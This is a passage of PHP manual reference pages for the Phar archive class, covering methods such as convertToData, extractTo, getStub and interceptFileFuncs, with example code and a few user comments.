myselfasunder at findmenow dot gmail dot com 12-Jul-2010 10:18
Zip support seems to be shaky, in that just attempting to open a Zip file (created by 7-Zip) with both the 'zlib' and 'zip' extensions enabled renders the following error:

Error: Cannot convert phar archive "C:/Development/webdir/public_html/TestPhar.zip", unable to open entry "TestPhar/" contents: phar error: internal corruption of zip-based phar "C:/Development/webdir/public_html/TestPhar.zip" (local header of file "TestPhar/" does not match central directory)

Stick to GZ's and BZ2's (but don't forget to enable the BZ2 extension if necessary).

Phar can ONLY open executable Phar's and PharData can ONLY open non-executable Phar's. Both have the ability to convert between the two formats.

However, you can reference a file within a Phar regardless of whether it's executable using the Phar stream wrapper (file_get_contents('phar://<Phar file>/subdirectory/subdirectory/somefile.txt')).

Dustin Oprea
Christian 13-Apr-2010 03:39
It's not possible to create a new archive when safe_mode is enabled! You simply return a 'Phar creation or opening failed' error.
This applies to Phar and PharData in PHP 5.3.2.


Convert a phar archive to a non-executable tar or zip file

  • « Phar::__construct
  • Phar::convertToExecutable »
  • PHP Manual
  • Phar
  • Convert a phar archive to a non-executable tar or zip file

Phar::convertToData

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::convertToData — Convert a phar archive to a non-executable tar or zip file

Description

public PharData Phar::convertToData ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )

This method is used to convert an executable phar archive to either a tar or zip file. To make the tar or zip non-executable, the phar stub and phar alias files are removed from the newly created archive.

If no changes are specified, this method throws a BadMethodCallException if the archive is in phar file format. For archives in tar or zip file format, this method converts the archive to a non-executable archive.

If successful, the method creates a new archive on disk and returns a PharData object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::TAR or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that .phar cannot be used anywhere in the filename for a non-executable tar or zip archive.

If converting to a tar-based phar archive, the default extensions are .tar, .tar.gz, and .tar.bz2 depending on specified compression. For zip-based archives, the default extension is .zip.

Return Values

The method returns a PharData object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A Phar::convertToData() example

Using Phar::convertToData():

<?php
try {
    $tarphar = new Phar('myphar.phar.tar');
    // note that myphar.phar.tar is *not* unlinked
    // convert it to the non-executable tar file format
    // creates myphar.tar
    $tar = $tarphar->convertToData();
    // convert to non-executable zip format, creates myphar.zip
    $zip = $tarphar->convertToData(Phar::ZIP);
    // create myphar.tbz
    $tgz = $tarphar->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
    // creates myphar.phar.tgz
    $phar = $tarphar->convertToData(Phar::PHAR); // throws exception
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.


Convert a phar archive to another executable phar archive file format

  • « Phar::convertToData
  • Phar::copy »
  • PHP Manual
  • Phar
  • Convert a phar archive to another executable phar archive file format

Phar::convertToExecutable

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format

Description

public Phar Phar::convertToExecutable ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is used to convert a phar archive to another file format. For instance, it can be used to create a tar-based executable phar archive from a zip-based executable phar archive, or from an executable phar archive in the phar file format. In addition, it can be used to apply whole-archive compression to a tar or phar-based archive.

If no changes are specified, this method throws a BadMethodCallException.

If successful, the method creates a new archive on disk and returns a Phar object. The old archive is not removed from disk, and should be done manually after the process has finished.

Parameters

format

This should be one of Phar::PHAR, Phar::TAR, or Phar::ZIP. If set to NULL, the existing file format will be preserved.

compression

This should be one of Phar::NONE for no whole-archive compression, Phar::GZ for zlib-based compression, and Phar::BZ2 for bzip-based compression.

extension

This parameter is used to override the default file extension for a converted archive. Note that all zip- and tar-based phar archives must contain .phar in their file extension in order to be processed as a phar archive.

If converting to a phar-based archive, the default extensions are .phar, .phar.gz, or .phar.bz2 depending on the specified compression. For tar-based phar archives, the default extensions are .phar.tar, .phar.tar.gz, and .phar.tar.bz2. For zip-based phar archives, the default extension is .phar.zip.

Return Values

The method returns a Phar object on success and throws an exception on failure.

Errors/Exceptions

This method throws BadMethodCallException when unable to compress, an unknown compression method has been specified, the requested archive is buffering with Phar::startBuffering() and has not concluded with Phar::stopBuffering(), an UnexpectedValueException if write support is disabled, and a PharException if any problems are encountered during the phar creation process.

Examples

Example #1 A Phar::convertToExecutable() example

Using Phar::convertToExecutable():

<?php
try {
    $tarphar = new Phar('myphar.phar.tar');
    // convert it to the phar file format
    // note that myphar.phar.tar is *not* unlinked
    $phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
    // creates myphar.phar.tgz
    $compressed = $phar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
    // handle the error here
}
?>

See Also

  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file
  • PharData::convertToExecutable() - Convert a non-executable tar/zip archive to an executable phar archive
  • PharData::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 09:52
Convert to executable and compress methods override any stub you have created with their own stub which is responsible for extracting/executing self's content.

calling setStub() after convertingToExecutable doesn't help either. As far of php 5.3.6 (phar     2.0.1 ) if you want to have a phar archive accessible threw the web, you'll have to create your own
index.php which will include a nonexecutable phar and act as the bootstrap.


Copy a file internal to the phar archive to another new file within the phar

  • « Phar::convertToExecutable
  • Phar::count »
  • PHP Manual
  • Phar
  • Copy a file internal to the phar archive to another new file within the phar

Phar::copy

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::copy — Copy a file internal to the phar archive to another new file within the phar

Description

public bool Phar::copy ( string $oldfile , string $newfile )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Copy a file internal to the phar archive to another new file within the phar. This is an object-oriented alternative to using copy() with the phar stream wrapper.

Parameters

oldfile

newfile

Return Values

returns TRUE on success, but it is safer to encase method call in a try/catch block and assume success if no exception is thrown.

Errors/Exceptions

throws UnexpectedValueException if the source file does not exist, the destination file already exists, write access is disabled, opening either file fails, reading the source file fails, or a PharException if writing the changes to the phar fails.

Examples

Example #1 A Phar::copy() example

This example shows using Phar::copy() and the equivalent stream wrapper performance of the same thing. The primary difference between the two approaches is error handling. All Phar methods throw exceptions, whereas the stream wrapper uses trigger_error().

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar['a'] = 'hi';
    $phar->copy('a', 'b');
    echo $phar['b']; // outputs "hi"
} catch (Exception $e) {
    // handle error
}

// the stream wrapper equivalent of the above code.
// E_WARNINGS are triggered on error rather than exceptions.
copy('phar://myphar.phar/a', 'phar//myphar.phar/c');
echo file_get_contents('phar://myphar.phar/c'); // outputs "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of entries (files) in the Phar archive

  • « Phar::copy
  • Phar::createDefaultStub »
  • PHP Manual
  • Phar
  • Returns the number of entries (files) in the Phar archive

Phar::count

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::count — Returns the number of entries (files) in the Phar archive

Description

public int Phar::count ( void )

Parameters

Return Values

The number of files contained within this phar, or 0 (the number zero) if none.

Examples

Example #1 A Phar::count() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p['file.txt'] = 'hi';
echo 'The new phar has ' . $p->count() . " entries\n";
?>

The above example will output:

The new phar has 0 entries
The new phar has 1 entries

User Contributed Notes

There are no user contributed notes for this page.


Create a phar-file format specific stub

  • « Phar::count
  • Phar::decompress »
  • PHP Manual
  • Phar
  • Create a phar-file format specific stub

Phar::createDefaultStub

(Unknown)

Phar::createDefaultStub — Create a phar-file format specific stub

Description

final public static string Phar::createDefaultStub ([ string $indexfile [, string $webindexfile ]] )

This method is intended for creation of phar-file format-specific stubs, and is not intended for use with tar- or zip-based phar archives.

Phar archives contain a bootstrap loader, or stub written in PHP that is executed when the archive is executed in PHP either via include:

<?php
include 'myphar.phar';
?>
or by simple execution:
php myphar.phar

This method provides a simple and easy method to create a stub that will run a startup file from the phar archive. In addition, different files can be specified for running the phar archive from the command line versus through a web server. The loader stub also calls Phar::interceptFileFuncs() to allow easy bundling of a PHP application that accesses the file system. If the phar extension is not present, the loader stub will extract the phar archive to a temporary directory and then operate on the files. A shutdown function erases the temporary files on exit.

Return Values

Returns a string containing the contents of a customized bootstrap loader (stub) that allows the created Phar archive to work with or without the Phar extension enabled.

Errors/Exceptions

Throws UnexpectedValueException if either parameter is longer than 400 bytes.

Examples

Example #1 A Phar::createDefaultStub() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::getStub() - Return the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Decompresses the entire Phar archive

  • « Phar::createDefaultStub
  • Phar::decompressFiles »
  • PHP Manual
  • Phar
  • Decompresses the entire Phar archive

Phar::decompress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::decompress — Decompresses the entire Phar archive

Description

public object Phar::decompress ([ string $extension ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based and phar-based phar archives, this method decompresses the entire archive.

For Zip-based phar archives, this method fails with an exception. The zlib extension must be enabled to decompress an archive compressed with gzip compression, and the bzip2 extension must be enabled in order to decompress an archive compressed with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

In addition, this method automatically changes the file extension of the archive, .phar by default for phar archives, or .phar.tar for tar-based phar archives. Alternatively, a file extension may be specified with the second parameter.

Parameters

extension

For decompressing, the default file extensions are .phar and .phar.tar. Use this parameter to specify another file extension. Be aware that all executable phar archives must contain .phar in their filename.

Return Values

A Phar object is returned.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A Phar::decompress() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar.gz');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p3 = $p2->decompress(); // creates /path/to/my.phar
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Decompresses all files in the current Phar archive

  • « Phar::decompress
  • Phar::delMetadata »
  • PHP Manual
  • Phar
  • Decompresses all files in the current Phar archive

Phar::decompressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::decompressFiles — Decompresses all files in the current Phar archive

Description

public bool Phar::decompressFiles ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based phar archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use Phar::compress() to compress an entire tar-based phar archive.

For Zip-based and phar-based phar archives, this method decompresses all files in the Phar archive. The zlib or bzip2 extensions must be enabled to take advantage of this feature if any files are compressed using bzip2/zlib compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A Phar::decompressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Deletes the global metadata of the phar

  • « Phar::decompressFiles
  • Phar::delete »
  • PHP Manual
  • Phar
  • Deletes the global metadata of the phar

Phar::delMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::delMetadata — Deletes the global metadata of the phar

Description

public bool Phar::delMetadata ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Deletes the global metadata of the phar

Parameters

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A Phar::delMetaData() example

<?php
try {
    $phar = new Phar('myphar.phar');
    var_dump($phar->getMetadata());
    $phar->setMetadata("hi there");
    var_dump($phar->getMetadata());
    $phar->delMetadata();
    var_dump($phar->getMetadata());
} catch (Exception $e) {
    // handle errors
}
?>

The above example will output:

NULL
string(8) "hi there"
NULL

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


Delete a file within a phar archive

  • « Phar::delMetadata
  • Phar::extractTo »
  • PHP Manual
  • Phar
  • Delete a file within a phar archive

Phar::delete

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::delete — Delete a file within a phar archive

Description

public bool Phar::delete ( string $entry )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Delete a file within an archive. This is the functional equivalent of calling unlink() on the stream wrapper equivalent, as shown in the example below.

Parameters

entry

Path within an archive to the file to delete.

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A Phar::delete() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->delete('unlink/me.php');
    // this is equivalent to:
    unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • PharData::delete() - Delete a file within a tar/zip archive
  • Phar::unlinkArchive() - Completely remove a phar archive from disk and from memory

User Contributed Notes

There are no user contributed notes for this page.


Extract the contents of a phar archive to a directory

  • « Phar::delete
  • Phar::getMetadata »
  • PHP Manual
  • Phar
  • Extract the contents of a phar archive to a directory

Phar::extractTo

(Unknown)

Phar::extractTo — Extract the contents of a phar archive to a directory

Description

public bool Phar::extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Extract all files within a phar archive to disk. Extracted files and directories preserve permissions as stored in the archive. The optional parameters allow optional control over which files are extracted, and whether existing files on disk can be overwritten. The second parameter files can be either the name of a file or directory to extract, or an array of names of files and directories to extract. By default, this method will not overwrite existing files, the third parameter can be set to true to enable overwriting of files. This method is similar to ZipArchive::extractTo().

Parameters

pathto

Path within an archive to the file to delete.

files

The name of a file or directory to extract, or an array of files/directories to extract

overwrite

Set to TRUE to enable overwriting existing files

Return Values

returns TRUE on success, but it is better to check for thrown exception, and assume success if none is thrown.

Errors/Exceptions

Throws PharException if errors occur while flushing changes to disk.

Examples

Example #1 A Phar::extractTo() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->extractTo('/full/path'); // extract all files
    $phar->extractTo('/another/path', 'file.txt'); // extract only file.txt
    $phar->extractTo('/this/path',
        array('file1.txt', 'file2.txt')); // extract 2 files only
    $phar->extractTo('/third/path', null, true); // extract all files, and overwrite
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • PharData::extractTo() - Extract the contents of a tar/zip archive to a directory

User Contributed Notes

There are no user contributed notes for this page.


Returns phar archive meta-data

  • « Phar::extractTo
  • Phar::getModified »
  • PHP Manual
  • Phar
  • Returns phar archive meta-data

Phar::getMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getMetadata — Returns phar archive meta-data

Description

public mixed Phar::getMetadata ( void )

Retrieve archive meta-data. Meta-data can be any PHP variable that can be serialized.

Parameters

No parameters.

Return Values

any PHP variable that can be serialized and is stored as meta-data for the Phar archive, or NULL if no meta-data is stored.

Examples

Example #1 A Phar::getMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello";';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'Could not modify phar:', $e;
}
?>

The above example will output:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

See Also

  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.


Return whether phar was modified

  • « Phar::getMetadata
  • Phar::getSignature »
  • PHP Manual
  • Phar
  • Return whether phar was modified

Phar::getModified

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getModified — Return whether phar was modified

Description

public bool Phar::getModified ( void )

This method can be used to determine whether a phar has either had an internal file deleted, or contents of a file changed in some way.

Parameters

No parameters.

Return Values

TRUE if the phar has been modified since opened, FALSE if not.

User Contributed Notes

There are no user contributed notes for this page.


Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

  • « Phar::getModified
  • Phar::getStub »
  • PHP Manual
  • Phar
  • Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

Phar::getSignature

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

Description

public array Phar::getSignature ( void )

Returns the verification signature of a phar archive in a hexadecimal string.

Parameters

Return Values

Array with the opened archive's signature in hash key and MD5, SHA-1, SHA-256, SHA-512, or OpenSSL in hash_type. This signature is a hash calculated on the entire phar's contents, and may be used to verify the integrity of the archive. A valid signature is absolutely required of all executable phar archives if the phar.require_hash INI variable is set to true.

User Contributed Notes

There are no user contributed notes for this page.


Return the PHP loader or bootstrap stub of a Phar archive

  • « Phar::getSignature
  • Phar::getSupportedCompression »
  • PHP Manual
  • Phar
  • Return the PHP loader or bootstrap stub of a Phar archive

Phar::getStub

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive

Description

public string Phar::getStub ( void )

Phar archives contain a bootstrap loader, or stub written in PHP that is executed when the archive is executed in PHP either via include:

<?php
include 'myphar.phar';
?>
or by simple execution:
php myphar.phar

Return Values

Returns a string containing the contents of the bootstrap loader (stub) of the current Phar archive.

Errors/Exceptions

Throws RuntimeException if it is not possible to read the stub from the Phar archive.

Examples

Example #1 A Phar::getStub() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
echo $p->getStub();
echo "==NEXT==\n";
$p->setStub("<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>");
echo $p->getStub();
?>

The above example will output:

<?php __HALT_COMPILER(); ?>
==NEXT==
<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

There are no user contributed notes for this page.


Return array of supported compression algorithms

  • « Phar::getStub
  • Phar::getSupportedSignatures »
  • PHP Manual
  • Phar
  • Return array of supported compression algorithms

Phar::getSupportedCompression

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::getSupportedCompression — Return array of supported compression algorithms

Description

final public static array Phar::getSupportedCompression ( void )

Parameters

No parameters.

Return Values

Returns an array containing any of Phar::GZ or Phar::BZ2, depending on the availability of the zlib extension or the bz2 extension.

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Return array of supported signature types

  • « Phar::getSupportedCompression
  • Phar::getVersion »
  • PHP Manual
  • Phar
  • Return array of supported signature types

Phar::getSupportedSignatures

(PHP >= 5.3.0, PECL phar >= 1.1.0)

Phar::getSupportedSignatures — Return array of supported signature types

Description

final public static array Phar::getSupportedSignatures ( void )

Return array of supported signature types

Parameters

No parameters.

Return Values

Returns an array containing any of MD5, SHA-1, SHA-256, SHA-512, or OpenSSL.

See Also

  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
  • Phar::setSignatureAlgorithm() - set the signature algorithm for a phar and apply it. The

User Contributed Notes

There are no user contributed notes for this page.


Return version info of Phar archive

  • « Phar::getSupportedSignatures
  • Phar::hasMetadata »
  • PHP Manual
  • Phar
  • Return version info of Phar archive

Phar::getVersion

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::getVersion — Return version info of Phar archive

Description

public string Phar::getVersion ( void )

Returns the API version of an opened Phar archive.

Parameters

Return Values

The opened archive's API version. This is not to be confused with the API version that the loaded phar extension will use to create new phars. Each Phar archive has the API version hard-coded into its manifest. See Phar file format documentation for more information.

See Also

  • Phar::apiVersion() - Returns the api version

User Contributed Notes

There are no user contributed notes for this page.


Returns whether phar has global meta-data

  • « Phar::getVersion
  • Phar::interceptFileFuncs »
  • PHP Manual
  • Phar
  • Returns whether phar has global meta-data

Phar::hasMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::hasMetadata — Returns whether phar has global meta-data

Description

public bool Phar::hasMetadata ( void )

Returns whether phar has global meta-data set.

Parameters

No parameters.

Return Values

Returns TRUE if meta-data has been set, and FALSE if not.

Examples

Example #1 A Phar::hasMetadata() example

<?php
try {
    $phar = new Phar('myphar.phar');
    var_dump($phar->hasMetadata());
    $phar->setMetadata(array('thing' => 'hi'));
    var_dump($phar->hasMetadata());
    $phar->delMetadata();
    var_dump($phar->hasMetadata());
} catch (Exception $e) {
    // handle error
}
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar

User Contributed Notes

There are no user contributed notes for this page.


instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

  • « Phar::hasMetadata
  • Phar::isBuffering »
  • PHP Manual
  • Phar
  • instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

Phar::interceptFileFuncs

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::interceptFileFuncs — instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

Description

final public static void Phar::interceptFileFuncs ( void )

instructs phar to intercept fopen(), readfile(), file_get_contents(), opendir(), and all of the stat-related functions. If any of these functions is called from within a phar archive with a relative path, the call is modified to access a file within the phar archive. Absolute paths are assumed to be attempts to load external files from the filesystem.

This function makes it possible to run PHP applications designed to run off of a hard disk as a phar application.

Parameters

No parameters.

Return Values

Examples

Example #1 A Phar::interceptFileFuncs() example

<?php
Phar::interceptFileFuncs();
include 'phar://' . __FILE__ . '/file.php';
?>

Assuming that this phar is at /path/to/myphar.phar and it contains file.php and file2.txt, if file.php contains this code:

Example #2 A Phar::interceptFileFuncs() example

<?php
echo file_get_contents('file2.txt');
?>

Normally PHP would search the current directory for file2.txt, which would translate as the directory of file.php, or the current directory of a command-line user. Phar::interceptFileFuncs() instructs PHP to consider the current directory to be phar:///path/to/myphar.phar/ and so opens phar:///path/to/myphar.phar/file2.txt in the above example code.

User Contributed Notes

There are no user contributed notes for this page.


Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

  • « Phar::interceptFileFuncs
  • Phar::isCompressed »
  • PHP Manual
  • Phar
  • Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

Phar::isBuffering

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

Description

public bool Phar::isBuffering ( void )

This method can be used to determine whether a Phar will save changes to disk immediately, or whether a call to Phar::stopBuffering() is needed to enable saving changes.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

Return Values

Returns TRUE if the write operations are being buffer, FALSE otherwise.

Examples

Example #1 A Phar::isBuffering() example

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p2 = new Phar('existingphar.phar');
$p['file1.txt'] = 'hi';
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>
=2=
<?php
$p->startBuffering();
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
$p->stopBuffering();
?>
=3=
<?php
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>

The above example will output:

bool(false)
bool(false)
=2=
bool(true)
bool(false)
=3=
bool(false)
bool(false)

See Also

  • Phar::startBuffering() - Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::stopBuffering() - Stop buffering write requests to the Phar archive, and save changes to disk

User Contributed Notes

There are no user contributed notes for this page.


Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

  • « Phar::isBuffering
  • Phar::isFileFormat »
  • PHP Manual
  • Phar
  • Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

Phar::isCompressed

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)

Description

public mixed Phar::isCompressed ( void )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on). Zip-based phar archives cannot be compressed as a file, and so this method will always return FALSE if a zip-based phar archive is queried.

Parameters

No parameters.

Return Values

Phar::GZ, Phar::BZ2 or FALSE

Examples

Example #1 A Phar::isCompressed() example

<?php
try {
    $phar1 = new Phar('myphar.zip.phar');
    var_dump($phar1->isCompressed());
